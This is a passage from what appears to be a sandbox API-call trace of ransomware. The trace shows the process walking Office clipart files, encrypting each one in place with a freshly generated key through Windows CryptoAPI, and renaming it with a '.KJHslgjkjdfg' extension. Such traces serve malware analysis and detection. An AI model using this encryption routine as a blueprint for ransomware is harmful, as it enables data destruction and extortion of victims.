hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.996] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.996] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.997] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.997] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.997] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.997] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.997] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1044, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1044, lpOverlapped=0x0) returned 1 [0187.000] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1050, dwBufLen=0x1050 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1050) returned 1 [0187.000] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.000] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1050, lpOverlapped=0x0) returned 1 [0187.000] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.000] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.000] SetEndOfFile (hFile=0x130) returned 1 [0187.003] GetProcessHeap () returned 0x990000 [0187.003] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.003] GetProcessHeap () returned 0x990000 [0187.003] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.003] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.kjhslgjkjdfg")) returned 1 [0187.004] CloseHandle (hObject=0x130) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0187.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.005] GetProcessHeap () returned 0x990000 [0187.005] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.005] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.005] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.008] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.008] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.008] GetProcessHeap () returned 0x990000 [0187.008] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.008] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.008] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.008] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.008] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.008] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.008] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.009] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.009] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.009] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.009] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x32c, lpOverlapped=0x0) returned 1 [0187.009] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x330, dwBufLen=0x330 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x330) returned 1 [0187.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.009] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x330, lpOverlapped=0x0) returned 1 [0187.009] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.009] SetEndOfFile (hFile=0x130) returned 1 [0187.012] GetProcessHeap () returned 0x990000 [0187.012] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.012] GetProcessHeap () returned 0x990000 [0187.012] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.012] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.kjhslgjkjdfg")) returned 1 [0187.013] CloseHandle (hObject=0x130) returned 1 [0187.013] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0187.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.029] GetProcessHeap () returned 0x990000 [0187.029] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.030] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.030] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0187.034] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.035] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.035] GetProcessHeap () returned 0x990000 [0187.035] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.035] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.035] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.035] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.035] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.035] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.035] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.035] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.035] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.035] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.035] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.036] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x332e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x332e, lpOverlapped=0x0) returned 1 [0187.037] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3330, dwBufLen=0x3330 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3330) returned 1 [0187.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.037] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3330, lpOverlapped=0x0) returned 1 [0187.037] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.037] SetEndOfFile (hFile=0x130) returned 1 [0187.040] GetProcessHeap () returned 0x990000 [0187.040] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.040] GetProcessHeap () returned 0x990000 [0187.040] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.kjhslgjkjdfg")) returned 1 [0187.041] CloseHandle (hObject=0x130) returned 1 [0187.041] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0187.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.042] GetProcessHeap () returned 0x990000 [0187.042] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.042] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.042] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0187.044] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.044] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.044] GetProcessHeap () returned 0x990000 [0187.044] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.044] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.044] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.044] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.044] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.045] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.045] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.045] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.045] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.045] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.045] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x69aa, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x69aa, lpOverlapped=0x0) returned 1 [0187.046] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x69b0, dwBufLen=0x69b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x69b0) returned 1 [0187.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.046] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x69b0, lpOverlapped=0x0) returned 1 [0187.047] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.047] SetEndOfFile (hFile=0x130) returned 1 [0187.050] GetProcessHeap () returned 0x990000 [0187.050] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.050] GetProcessHeap () returned 0x990000 [0187.050] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.kjhslgjkjdfg")) returned 1 [0187.051] CloseHandle (hObject=0x130) returned 1 [0187.051] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0187.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.052] GetProcessHeap () returned 0x990000 [0187.052] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.052] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.052] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.052] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0187.054] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.054] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.054] GetProcessHeap () returned 0x990000 [0187.054] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.054] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.054] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.054] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.055] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.055] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.055] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.055] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.055] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.055] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 